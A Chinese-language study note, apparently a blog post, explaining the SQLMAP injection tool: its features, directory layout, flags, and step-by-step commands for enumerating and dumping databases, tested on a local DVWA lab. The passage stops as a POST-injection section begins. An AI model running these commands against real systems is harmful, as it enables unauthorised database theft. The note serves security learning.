(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)
一、介绍
1.SQL注入工具:明小子、啊D、罗卜头、穿山甲、SQLMAP等等
2.SQLMAP:使用python开发,开源自动化注入利用工具,支持12种数据库 ,在/plugins/dbms中可以看到支持的数据库种类,在所有注入利用工具中它是最好用的!!!
3.支持的注入类型:bool、time、报错、union、堆查询、内联
4.功能:
- 可以获取用户名、密码、权限、角色、数据库(表、字段、内容)
- 可以爆破识别密文数据
- getshell(反弹shell)
- 命令执行
- 脱库或删库
二、SQLMAP的目录介绍:
目录 | 介绍 |
doc | 介绍文档 |
extra | sqlmap额外的功能,运行cmd、执行命令 |
lib | sqlmap 的核心功能代码 |
plugins | 包含12种数据库的识别程序 |
data | 存放一些攻击过程种使用的工具或者命令 |
/data/procs | 包含了mssql、mysql、oracle、postgresql这四种数据库的触发程序 |
/data/shell | 远程命令、后门 |
/data/txt | 表名、列名、UA字典 |
/data/udf | 存放攻击载荷(payload) |
/data/XML | 存放检测脚本(payload) |
tamper | 包含各种绕过WAF的处理脚本 |
thirdparty | 包含第三方插件,如颜色、优化等等 |
waf | 识别WAF的脚本 |
三、SQLMAP的工作流程
1.初始化
1 salmap -v 查看版本 2 salmap --update 更新
2.开始检测
- 检测之前是否注入过(会把当前检测URL 默认存放在用户家目录中.sqlmap下的output),使用--output-dir可指定存放的目录
- 解析URL,判断URL是否可访问
- 检测是否有WAF
sqlmap -u "目标url" --identify-waf sqlmap -u "目标url" --check-waf
- 执行用户输入的参数
1 -u 指定URL 2 -p 指定参数 3 -v 指定显示级别 4 --dbs 目标服务器中的数据库 5 --current-db 当前数据库 6 --tables 目标数据库有什么表 7 --columns 目标表中有什么列 8 --dump 获取数据 9 --batch 跳过问询(yes)之间执行,批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值 10 --dbms 指定数据库类型 11 --current-user 查看当前用户 12 --users 查看所有用户 13 --passwords 数据库密码 14 --hostname 系统名称 15 --banner 数据库信息 16 --roles 数据库用户角色 17 等等
四、步骤详解
- GET型注入的SQLMAP利用方法:
1.判断是否有注入点
sqlmap -u "目标url"
- 当看到探测的结果中有没有环境参数(系统类型和数据库类型),则表明有注入
2.查看所有数据库
1 sqlmap -u "目标_url" --dbs --dbms mysql 2 --dbms=DBMS 指定目标数据库类型
3.获取当前数据库
sqlmap -u "目标_url" --current-db --dbms mysql
4.获取当前数据库下表
1 sqlmap -u "目标_url" -D 库名 --dbms mysql --tables --batch -v 2 -D DB 指定从某个数据库查询数据 3 -v 显示信息的级别,一共有六级: 4 0:只显示python 错误和一些严重信息 5 1:显示基本信息(默认) 6 2:显示debug信息 7 3:显示注入过程的payload 8 4:显示http请求包 9 5:显示http响应头 10 6:显示http相应页面
5.获取当前数据库中指定表下的字段
1 sqlmap -u "目标url" -D 库名 -T 表名 --columns 2 -T TBL 指定从某个表查询数据
6.获取指定字段对应的数据内容
1 sqlmap -u "目标url" -D 库名 -T 表名 -C 字段名1,字段名2,等等 --dump 2 -C COL 指定从某个列查询数据 3 --dump 查询指定范围的全部数据 4 (对加密的密码进行彩虹表攻击)
五、SQLMAP工具测试
- GET型 ,测试使用DVWA中的SQL Injection模块(Low级别)
1.检测是否有注入点
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
- 翻译:
sqlmap got a 302 redirect to 'http://127.0.0.1:80/dvwa/login.php' sqlmap得到302重定向到“http://127.0.0.1:80/dvwa/login.php” you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ua503vlvaom...715dscplg7;security=impossible;security=impossible') 您尚未声明cookie,而服务器希望设置自己的cookie('phpsessid=ua503vlvaom…715dscplg7;security=impossible;security=impossible') |
-
由上图可知,结果是跳转到登录页面,是需要带cookie的,查到session为nh9elbltn3coe0kgvdnq1l6755(在地址栏种输入javascript:alert(document.cookie)查询cookie)
sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755" --batch
- POST型注入的SQLMAP利用方法:
1.拦截数据包保存txt文件post.txt